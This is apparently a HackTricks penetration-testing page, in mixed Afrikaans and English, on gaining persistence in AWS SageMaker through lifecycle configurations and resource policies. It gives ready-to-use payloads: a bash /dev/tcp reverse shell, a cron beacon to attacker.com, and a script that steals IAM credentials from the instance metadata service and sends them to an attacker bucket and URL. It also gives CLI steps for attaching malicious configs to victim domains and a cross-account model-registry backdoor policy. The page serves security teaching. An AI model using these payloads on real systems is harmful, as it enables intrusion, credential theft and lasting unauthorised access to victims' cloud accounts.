# AWS - SageMaker Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Oorsig van Persistence Techniques

This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. Hierdie afdeling beskryf metodes om persistence in SageMaker te verkry deur Lifecycle Configurations (LCCs) te misbruik, insluitend reverse shells, cron jobs, credential theft via IMDS en SSH backdoors. Hierdie skripte hardloop met die instance’s IAM role en kan ná 'n herstart voortbestaan. Die meeste tegnieke vereis outbound network access, maar die gebruik van services op die AWS control plane kan steeds sukses toelaat as die omgewing in 'VPC-only" mode is.

> [!TIP]
> Nota: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.

## Vereiste Toestemmings
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Studio toepassings:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## Stel Lifecycle Configuration op Notebook Instances

### Voorbeeld AWS CLI-opdragte:
```bash
# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Stel Lifecycle Configuration in SageMaker Studio

Lifecycle Configurations kan op verskeie vlakke en aan verskillende app-tipes binne SageMaker Studio aangeheg word.

### Studio-domeinvlak (alle gebruikers)
```bash
# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Studio Space-vlak (Individueel of Gedeelde Spaces)
```bash
# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Soorte van Studio Application Lifecycle Configurations

Lifecycle-konfigurasies kan spesifiek toegepas word op verskillende SageMaker Studio toepassingstipes:
* JupyterServer: Voer skripte tydens Jupyter-server-opstart uit, ideaal vir meganismes vir persistente toegang soos reverse shells en cron jobs.
* KernelGateway: Voer uit tydens die opstart van die kernel gateway-app, nuttig vir aanvanklike opstelling of persistente toegang.
* CodeEditor: Geld vir die Code Editor (Code-OSS), en maak skripte moontlik wat uitgevoer word by die begin van code editing-sessies.

### Voorbeeldopdrag vir elke tipe:

### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### Kode-redigeerder
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Kritieke Inligting:
* Die aanheg van LCCs op domain- of space-vlak beïnvloed alle gebruikers of toepassings binne die omvang.
* Vereis hoër regte (sagemaker:UpdateDomain, sagemaker:UpdateSpace); gewoonlik meer uitvoerbaar op space as op domain-vlak.
* Netwerkvlak-kontroles (bv. streng egress-filtering) kan suksesvolle reverse shells of data exfiltration voorkom.

## Reverse Shell via Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) voer pasgemaakte skripte uit wanneer notebook instances begin. 'n Aanvaller met die nodige regte kan 'n volhoubare reverse shell opstel.

### Payload Example:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration

'n aanvaller kan cron jobs deur LCC scripts insluit, wat die periodieke uitvoering van kwaadaardige scripts of commands verseker en sluipende persistence moontlik maak.

### Payload Example:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## Credential Exfiltration via IMDS (v1 & v2)

Lifecycle configurations kan by die Instance Metadata Service (IMDS) navraag doen om IAM credentials op te haal en dit na 'n attacker-controlled location te exfiltrate.

### Payload Example:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
## Persistensie via Model Registry resource policy (PutModelPackageGroupPolicy)

Misbruik die hulpbron-gebaseerde beleid op 'n SageMaker Model Package Group om aan 'n eksterne principal kruis-rekening regte te verleen (bv., CreateModelPackage/Describe/List). Dit skep 'n duursaam agterdeur wat toelaat om vergiftigde modelweergawes op te laai of modelmetadata/artefakte te lees, selfs as die aanvaller se IAM-gebruiker/rol in die slagofferrekening verwyder word.

Benodigde toestemmings
- sagemaker:CreateModelPackageGroup
- sagemaker:PutModelPackageGroupPolicy
- sagemaker:GetModelPackageGroupPolicy

Stappe (us-east-1)
```bash
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text
```
Aantekeninge
- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal.
- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.

Impak
- Volhoubare cross-account beheer van 'n Model Registry group: attacker kan kwaadwillige modelweergawes publiseer of model-metadata enumereer/lees selfs nadat hul IAM entities in die victim account verwyder is.

## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)

Misbruik SageMaker Canvas user settings om model registry skrywes stilweg na 'n attacker-controlled account om te lei deur ModelRegisterSettings te aktiveer en CrossAccountModelRegisterRoleArn na 'n attacker role in 'n ander account te wys.

Benodigde permissies
- sagemaker:UpdateUserProfile op die teiken UserProfile
- Opsioneel: sagemaker:CreateUserProfile op 'n Domain wat jy beheer

{{#include ../../../../banners/hacktricks-training.md}}
